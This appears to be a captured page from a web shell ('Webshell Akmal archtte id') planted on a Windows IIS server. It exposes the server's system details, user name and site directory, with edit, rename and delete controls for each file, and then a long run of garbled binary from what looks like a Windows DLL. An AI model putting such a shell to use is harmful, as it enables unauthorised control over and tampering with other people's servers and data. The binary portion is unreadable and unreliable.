Webshell Akmal archtte id
System:
Microsoft Windows NT 10.0.20348.0
Server:
Microsoft-IIS/10.0
User:
buyyou
Directory:
C:
\
MyData
\
WWW
\
asc365
\
Name
Size
Type
Actions
ASC365_CANADA
-
Directory
Rename
Delete
ASC365_Store01
-
Directory
Rename
Delete
aspnet_client
-
Directory
Rename
Delete
CompanyImage
-
Directory
Rename
Delete
TJGS_USA
-
Directory
Rename
Delete
zhijian
-
Directory
Rename
Delete
Memo.inc
0 bytes
.inc
Edit
Rename
Delete
web.config
213 bytes
.config
Edit
Rename
Delete
MZ� �� � @ � � � �!�L�!This program cannot be run in DOS mode. $ =�=�y�S�y�S�y�S���S�x�S�����x�S���Q�x�S�Richy�S� PE L ��~� � ! a 0 /x @E ` @ � T .text x @ @.rsrc � @ @ ��~� � � ��~� | � � ��~� $ T T ��~� J - - � < � ] � � " M � � 6 � � � 6 x � a � � % b � � ; w � � : | � � Z � � � O � � � ) Y � R � � A { � ! v � � & h � � M � � W y � � ! ] � � � _ � � = � � 7 o � � G s ! " # $ % & ' ( ) * + , WMI.dll CloseTrace api-ms-win-eventing-consumer-l1-1-0.CloseTrace ControlTraceA api-ms-win-eventing-legacy-l1-1-0.ControlTraceA ControlTraceW api-ms-win-eventing-controller-l1-1-0.ControlTraceW CreateTraceInstanceId ntdll.EtwCreateTraceInstanceId EnableTrace api-ms-win-eventing-legacy-l1-1-0.EnableTrace GetTraceEnableFlags api-ms-win-eventing-classicprovider-l1-1-0.GetTraceEnableFlags GetTraceEnableLevel api-ms-win-eventing-classicprovider-l1-1-0.GetTraceEnableLevel GetTraceLoggerHandle api-ms-win-eventing-classicprovider-l1-1-0.GetTraceLoggerHandle OpenTraceA api-ms-win-eventing-legacy-l1-1-0.OpenTraceA OpenTraceW api-ms-win-eventing-consumer-l1-1-0.OpenTraceW ProcessTrace api-ms-win-eventing-consumer-l1-1-0.ProcessTrace QueryAllTracesA api-ms-win-eventing-legacy-l1-1-0.QueryAllTracesA QueryAllTracesW api-ms-win-eventing-controller-l1-1-0.QueryAllTracesW RegisterTraceGuidsA api-ms-win-eventing-obsolete-l1-1-0.RegisterTraceGuidsA RegisterTraceGuidsW api-ms-win-eventing-classicprovider-l1-1-0.RegisterTraceGuidsW RemoveTraceCallback api-ms-win-eventing-obsolete-l1-1-0.RemoveTraceCallback SetTraceCallback api-ms-win-eventing-obsolete-l1-1-0.SetTraceCallback StartTraceA api-ms-win-eventing-legacy-l1-1-0.StartTraceA StartTraceW api-ms-win-eventing-controller-l1-1-0.StartTraceW TraceEvent ntdll.EtwLogTraceEvent TraceEventInstance ntdll.EtwTraceEventInstance UnregisterTraceGuids api-ms-win-eventing-classicprovider-l1-1-0.UnregisterTraceGuids WmiCloseBlock wmiclnt.WmiCloseBlock WmiDevInstToInstanceNameA wmiclnt.WmiDevInstToInstanceNameA WmiDevInstToInstanceNameW wmiclnt.WmiDevInstToInstanceNameW WmiEnumerateGuids wmiclnt.WmiEnumerateGuids WmiExecuteMethodA wmiclnt.WmiExecuteMethodA WmiExecuteMethodW wmiclnt.WmiExecuteMethodW WmiFileHandleToInstanceNameA wmiclnt.WmiFileHandleToInstanceNameA WmiFileHandleToInstanceNameW wmiclnt.WmiFileHandleToInstanceNameW WmiFreeBuffer wmiclnt.WmiFreeBuffer WmiMofEnumerateResourcesA wmiclnt.WmiMofEnumerateResourcesA WmiMofEnumerateResourcesW wmiclnt.WmiMofEnumerateResourcesW WmiNotificationRegistrationA wmiclnt.WmiNotificationRegistrationA WmiNotificationRegistrationW wmiclnt.WmiNotificationRegistrationW WmiOpenBlock wmiclnt.WmiOpenBlock WmiQueryAllDataA wmiclnt.WmiQueryAllDataA WmiQueryAllDataW wmiclnt.WmiQueryAllDataW WmiQueryGuidInformation wmiclnt.WmiQueryGuidInformation WmiQuerySingleInstanceA wmiclnt.WmiQuerySingleInstanceA WmiQuerySingleInstanceW wmiclnt.WmiQuerySingleInstanceW WmiSetSingleInstanceA wmiclnt.WmiSetSingleInstanceA WmiSetSingleInstanceW wmiclnt.WmiSetSingleInstanceW WmiSetSingleItemA wmiclnt.WmiSetSingleItemA WmiSetSingleItemW wmiclnt.WmiSetSingleItemW RSDS%���9(�Y1���y�D wmi.pdb GCTL ` .rdata ` @ .edata � .rdata$voltmd � � .rdata$zzzdbg ` .rsrc$01 ` � .rsrc$02 %���9(�Y1���y�D� Jd�� ˩�$��~� � 0 � H ` � |4 V S _ V E R S I O N _ I N F O ��� |O |O? � S t r i n g F i l e I n f o � 0 4 0 9 0 4 B 0 L C o m p a n y N a m e M i c r o s o f t C o r p o r a t i o n ` F i l e D e s c r i p t i o n W M I D C a n d D P f u n c t i o n a l i t y h $ F i l e V e r s i o n 1 0 . 0 . 2 0 3 4 8 . 1 ( W i n B u i l d . 1 6 0 1 0 1 . 0 8 0 0 ) ( I n t e r n a l N a m e w m i � . L e g a l C o p y r i g h t � M i c r o s o f t C o r p o r a t i o n . A l l r i g h t s r e s e r v e d . 8 O r i g i n a l F i l e n a m e w m i . D L L j % P r o d u c t N a m e M i c r o s o f t � W i n d o w s � O p e r a t i n g S y s t e m > P r o d u c t V e r s i o n 1 0 . 0 . 2 0 3 4 8 . 1 D V a r F i l e I n f o $ T r a n s l a t i o n �